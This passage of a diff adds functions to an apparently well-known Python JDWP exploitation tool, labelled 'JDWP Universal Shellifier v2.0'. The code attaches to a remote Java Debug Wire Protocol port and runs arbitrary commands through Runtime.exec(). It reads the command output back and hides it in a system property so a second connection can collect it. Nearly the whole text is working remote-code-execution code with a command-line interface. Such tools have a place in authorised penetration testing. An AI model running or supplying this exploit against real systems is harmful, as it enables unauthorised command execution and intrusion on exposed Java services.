jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data) + if buf[0] != TAG_OBJECT: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Unexpected returned type: expecting Object") + return False + processId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Runtime.exec() successful, {Colors.DIM}processId={Colors.ENDC}{Colors.WARNING}%x{Colors.ENDC}" % processId) + output = capture_process_output(jdwp, threadId, processId, verbose) + if output: + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Command output captured, storing in system property") + store_output_in_property(jdwp, threadId, output, verbose) + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Output stored in {Colors.BOLD}'jdwp.cmd.output'{Colors.ENDC} property") + else: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Failed to capture command output") + return True + +def capture_process_output(jdwp, threadId, processId, verbose=True): + try: + processClass = jdwp.get_class_by_name("Ljava/lang/Process;") + if processClass is None: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find class Process") + return None + jdwp.get_methods(processClass["refTypeId"]) + waitForMeth = jdwp.get_method_by_name("waitFor") + if waitForMeth: + if verbose: + print(f"{Colors.OKCYAN}[+]{Colors.ENDC} Waiting for process to complete...") + else: + sys.stdout.write(f"{Colors.OKCYAN}[*]{Colors.ENDC} Executing command") + sys.stdout.flush() + jdwp.invoke(processId, threadId, processClass["refTypeId"], waitForMeth["methodId"]) + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Process completed") + else: + sys.stdout.write(f" {Colors.OKGREEN}done{Colors.ENDC}\n") + getInputStreamMeth = jdwp.get_method_by_name("getInputStream") + if getInputStreamMeth is None: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find method Process.getInputStream()") + return None + buf = jdwp.invoke(processId, threadId, processClass["refTypeId"], getInputStreamMeth["methodId"]) + if buf[0] != TAG_OBJECT: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Failed to get InputStream") + return None + inputStreamId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Got InputStream {Colors.DIM}id:{Colors.ENDC}{Colors.WARNING}%#x{Colors.ENDC}" % inputStreamId) + return capture_with_bufferedreader(jdwp, threadId, inputStreamId, verbose) + except Exception as e: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exception in capture_process_output: {e}") + return None + +def capture_with_bufferedreader(jdwp, threadId, inputStreamId, verbose=True): + try: + output = read_inputstream_bytes(jdwp, threadId, inputStreamId, verbose) + if output: + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Captured output ({len(output)} bytes)") + return output + return read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose) + except Exception as e: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exception in capture_with_bufferedreader: {e}") + return None + +def read_inputstream_bytes(jdwp, threadId, inputStreamId, verbose=True): + try: + ioUtilsClass = jdwp.get_class_by_name("Lorg/apache/commons/io/IOUtils;") + if ioUtilsClass: + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Using Apache Commons IOUtils") + jdwp.get_methods(ioUtilsClass["refTypeId"]) + toStringMeth = None + for method in jdwp.methods[ioUtilsClass["refTypeId"]]: + if method["name"] == "toString" and "(Ljava/io/InputStream;" in method["signature"]: + toStringMeth = method + break + if toStringMeth: + data = [bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, inputStreamId)] + buf = jdwp.invokestatic(ioUtilsClass["refTypeId"], threadId, toStringMeth["methodId"], *data) + if buf[0] == TAG_STRING: + outputId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + output = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, outputId)) + return output + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Using InputStreamReader fallback") + return read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose) + except Exception as e: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exception in read_inputstream_bytes: {e}") + return None + +def read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose=True): + try: + inputStreamClass = jdwp.get_class_by_name("Ljava/io/InputStream;") + jdwp.get_methods(inputStreamClass["refTypeId"]) + readMeth = None + for method in jdwp.methods[inputStreamClass["refTypeId"]]: + if method["name"] == "read" and method["signature"] == "()I": + readMeth = method + break + if readMeth is None: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find InputStream.read()") + return None + output_bytes = bytearray() + max_bytes = 1048576 + if verbose: + sys.stdout.write(f"{Colors.OKCYAN}[+]{Colors.ENDC} Reading output") + else: + sys.stdout.write(f"{Colors.OKCYAN}[*]{Colors.ENDC} Capturing output") + sys.stdout.flush() + while len(output_bytes) < max_bytes: + buf = jdwp.invoke(inputStreamId, threadId, inputStreamClass["refTypeId"], readMeth["methodId"]) + if buf[0] != 73: + sys.stdout.write("\n") + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} read() unexpected return type") + break + byte_val = struct.unpack(">i", buf[1:5])[0] + if byte_val == -1: + break + output_bytes.append(byte_val & 0xFF) + if verbose and len(output_bytes) % 1000 == 0: + sys.stdout.write(f"{Colors.DIM}.{Colors.ENDC}") + sys.stdout.flush() + elif not verbose and len(output_bytes) % 5000 == 0: + sys.stdout.write(f"{Colors.DIM}.{Colors.ENDC}") + sys.stdout.flush() + sys.stdout.write(f" {Colors.OKGREEN}done{Colors.ENDC}\n") + if len(output_bytes) == 0: + return None + return output_bytes.decode('utf-8', errors='replace') + except Exception as e: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exception in read_with_inputstreamreader: {e}") + return None + +def store_output_in_property(jdwp, threadId, output, verbose=True): + try: + systemClass = jdwp.get_class_by_name("Ljava/lang/System;") + if systemClass is None: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find class System") + return False + jdwp.get_methods(systemClass["refTypeId"]) + setPropertyMeth = None + for method in jdwp.methods[systemClass["refTypeId"]]: + if method["name"] == "setProperty": + setPropertyMeth = method + break + if setPropertyMeth is None: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find System.setProperty()") + return False + propNameObjIds = jdwp.createstring("jdwp.cmd.output") + if len(propNameObjIds) == 0: + return False + propNameObjId = propNameObjIds[0]["objId"] + propValueObjIds = jdwp.createstring(output) + if len(propValueObjIds) == 0: + return False + propValueObjId = propValueObjIds[0]["objId"] + data = [ + bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, propNameObjId), + bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, propValueObjId) + ] + jdwp.invokestatic(systemClass["refTypeId"], threadId, setPropertyMeth["methodId"], *data) + return True + except Exception as e: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exception in store_output_in_property: {e}") + return False + +def clear_output_property(jdwp, threadId, verbose=True): + """ + Clears the jdwp.cmd.output property using System.clearProperty() + """ + try: + systemClass = jdwp.get_class_by_name("Ljava/lang/System;") + if systemClass is None: + return False + jdwp.get_methods(systemClass["refTypeId"]) + clearPropertyMeth = None + for method in jdwp.methods[systemClass["refTypeId"]]: + if method["name"] == "clearProperty": + clearPropertyMeth = method + break + if clearPropertyMeth is None: + if verbose: + print(f"{Colors.WARNING}[!]{Colors.ENDC} Cannot find System.clearProperty(), property not cleared") + return False + propNameObjIds = jdwp.createstring("jdwp.cmd.output") + if len(propNameObjIds) == 0: + return False + propNameObjId = propNameObjIds[0]["objId"] + data = [bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, propNameObjId)] + jdwp.invokestatic(systemClass["refTypeId"], threadId, clearPropertyMeth["methodId"], *data) + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Cleared output property") + return True + except Exception as e: + if verbose: + print(f"{Colors.WARNING}[!]{Colors.ENDC} Could not clear property: {e}") + return False + +def str2fqclass(s): + i = s.rfind('.') + if i == -1: + print("Cannot parse path") + sys.exit(1) + method = s[i:][1:] + classname = 'L' + s[:i].replace('.', '/') + ';' + return classname, method + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_", + formatter_class=argparse.ArgumentDefaultsHelpFormatter) + parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True) + parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port") + parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD", + default="java.net.ServerSocket.accept", help="Specify full path to method to break on") + parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND", + help="Specify command to execute remotely") + parser.add_argument("--cmd-with-output", dest="cmd_with_output", type=str, metavar="COMMAND", + help="Execute command and automatically retrieve output") + parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", + help="Enable verbose output (show all debug messages)") + parser.add_argument("--no-color", dest="no_color", action="store_true", + help="Disable colored output") + args = parser.parse_args() + if args.no_color: + Colors.disable() + if not args.verbose and args.cmd_with_output: + print(f"{Colors.BOLD}{Colors.OKCYAN}") + print("╔═══════════════════════════════════════════════════════════╗") + print("║ JDWP Universal Shellifier v2.0 ║") + print("║ @_hugsy_ ║") + print("╚═══════════════════════════════════════════════════════════╝") + print(f"{Colors.ENDC}") + print(f"{Colors.OKCYAN}[>]{Colors.ENDC} Target: {Colors.BOLD}{args.target}:{args.port}{Colors.ENDC}") + print(f"{Colors.OKCYAN}[>]{Colors.ENDC} Command: {Colors.BOLD}{args.cmd_with_output}{Colors.ENDC}") + print("") + classname, meth = str2fqclass(args.break_on) + setattr(args, "break_on_class", classname) + setattr(args, "break_on_method", meth) + retcode = 0 + try: + if args.cmd_with_output: + if args.verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Executing command with output retrieval mode") + print("") + if args.verbose: + print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") + print(f"{Colors.BOLD}{Colors.WARNING}[*] PHASE 1: Executing command and storing output{Colors.ENDC}") + print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") + args.cmd = args.cmd_with_output + cli = JDWPClient(args.target, args.port) + cli.start() + if runtime_exec(cli, args) == False: + if args.verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exploit failed in execution phase") + retcode = 1 + cli.leave() + else: + cli.leave() + if args.verbose: + print("") + print(f"{Colors.OKCYAN}[+]{Colors.ENDC} Waiting 2 seconds before retrieving output...") + time.sleep(2) + if args.verbose: + print("") + print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") + print(f"{Colors.BOLD}{Colors.WARNING}[*] PHASE 2: Retrieving command output{Colors.ENDC}") + print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") + else: + sys.stdout.write(f"{Colors.OKCYAN}[*]{Colors.ENDC} Retrieving output\n") + sys.stdout.flush() + args.cmd = None + cli = JDWPClient(args.target, args.port) + cli.start() + if runtime_exec(cli, args) == False: + if args.verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exploit failed in retrieval phase") + retcode = 1 + else: + if not args.verbose: + sys.stdout.write(f" {Colors.OKGREEN}done{Colors.ENDC}\n") + cli.leave() + else: + cli = JDWPClient(args.target, args.port) + cli.start() + if runtime_exec(cli, args) == False: + if args.verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exploit failed") + retcode = 1 + cli.leave() + except KeyboardInterrupt: + print(f"\n{Colors.WARNING}[!]{Colors.ENDC} Exiting on user's request") + except Exception as e: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Exception: {e}") + retcode = 1 + sys.exit(retcode)